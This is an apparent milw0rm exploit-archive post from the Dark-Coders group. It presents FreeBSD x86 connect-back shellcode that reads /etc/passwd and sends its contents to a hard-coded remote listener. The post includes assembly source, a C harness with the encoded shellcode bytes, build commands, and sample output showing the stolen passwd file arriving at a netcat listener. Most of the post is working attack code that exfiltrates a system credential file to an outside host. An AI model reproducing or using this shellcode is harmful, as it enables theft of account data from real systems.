133 lines
No EOL
3.6 KiB
Text
133 lines
No EOL
3.6 KiB
Text
***(C)oDed bY suN8Hclf***
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DaRk-CodeRs Group production, kid
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[FreeBSD x86 connect back.send.exit /etc/passwd 112 bytes]
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This is the FreeBSD version of 0in's shellcode (http://milw0rm.com/shellcode/6263)
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(really learnt a lot while coding this one ;])
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Compile:
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nasm -f elf shellcode.asm
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ld -e _start -o shellcode shellcode.o
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================================================================================
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How it works:
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1st terminal: $nc -l 8000
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2nd terminal: $./shellcode
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2nd terminal:
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# $FreeBSD: src/etc/master.passwd,v 1.40 2005/06/06 20:19:56 brooks Exp $
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#
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root:*:0:0:Charlie &:/root:/bin/csh
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toor:*:0:0:Bourne-again Superuser:/root:
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daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin
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operator:*:2:5:System &:/:/usr/sbin/nologin
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bin:*:3:7:Binaries Commands and Source:/:/usr/sbin/nologin
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tty:*:4:65533:Tty Sandbox:/:/usr/sbin/nologin
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kmem:*:5:65533:KMem Sandbox:/:/usr/sbin/nologin
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games:*:7:13:Games pseudo-user:/usr/games:/usr/sbin/nologin
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news:*:8:8:News Subsystem:/:/usr/sbin/nologin
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man:*:9:9:Mister Man Pages:/usr/share/man:/usr/sbin/nologin
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sshd:*:22:22:Secure Shell Daemon:/var/empty:/usr/sbin/nologin
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smmsp:*:25:25:Sendmail Submission User:/var/spool/clientmqueue:/usr/sbin/nologin
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mailnull:*:26:26:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin
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bind:*:53:53:Bind Sandbox:/:/usr/sbin/nologin
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[..]
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================================================================================
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Code:
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-------------------------code.asm---------------------
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section .text
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global _start
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_start:
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xor eax, eax
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push byte 0x64
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push word 0x7773
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push 0x7361702f
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push 0x6374652f ;file to open (default:/etc/passwd)
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mov ebx, esp
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push eax
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push ebx
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mov al, 5 ;use: 'cat /usr/src/sys/kern/syscalls.master | grep *' to get the right numbers
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push eax
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int 0x80 ;open()
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mov ebx, eax ;file descriptor to ebx
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xor eax, eax ;we should clean eax each time we return from int 0x80
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xor ecx, ecx
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mov cx, 3333 ;3333 bytes is probably enough
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push ecx
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mov esi, esp ;put our data on the stack
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push esi
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push ebx
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mov al, 3
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push eax
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int 0x80 ;read()
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mov ebp, eax
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xor eax, eax
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mov al, 6
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push ebx
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push eax
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int 0x80 ;close()
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xor eax, eax
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push eax
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push byte 0x01
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push byte 0x02
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mov al, 97
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push eax
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int 0x80 ;socket()
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mov edx, eax ;socket descriptor to edx
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push 0x2101a8c0 ;192.168.1.33, change IT!!!
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push 0x401f02AA ;port 8000
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mov eax, esp
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push byte 0x10
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push eax
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push edx
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xor eax, eax
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mov al, 98
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push eax
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int 0x80 ;connect()
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xor eax, eax
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push ebp
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push esi ;our buffer with data
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push edx
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mov al, 4
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push eax
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int 0x80 ;write()
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xor eax, eax
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inc eax
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push eax
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push eax
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int 0x80 ;exit()
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-------------------------code.asm---------------------
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C Code:
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-------------------------code.c-----------------------
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#include <stdio.h>
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char shellcode[]=
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"\x31\xc0\x6a\x64\x66\x68\x73\x77\x68\x2f\x70\x61\x73\x68\x2f\x65\x74\x63"
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"\x89\xe3\x50\x53\xb0\x05\x50\xcd\x80\x89\xc3\x31\xc0\x31\xc9\x66\xb9\x05"
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"\x0d\x51\x89\xe6\x56\x53\xb0\x03\x50\xcd\x80\x89\xc5\x31\xc0\xb0\x06\x53"
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"\x50\xcd\x80\x31\xc0\x50\x6a\x01\x6a\x02\xb0\x61\x50\xcd\x80\x89\xc2"
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"\x68\xc0\xa8\x01\x21" //<- host address
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"\x68\xaa\x02\x1f\x40" // <- port number
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"\x89\xe0\x6a\x10\x50\x52\x31\xc0\xb0\x62\x50\xcd\x80\x31\xc0\x55\x56\x52"
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"\xb0\x04\x50\xcd\x80\x31\xc0\x40\x50\x50\xcd\x80";
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int main(int argc, char **argv) {
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int (*func)();
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func=(int (*)())shellcode;
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(int)(*func)();
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}
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-------------------------code.c-----------------------
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Greetz to: 0in, cOndemned, e.wiZz!, str0ke, doctor
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Visit us : www.dark-coders.pl
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# milw0rm.com [2008-09-10] |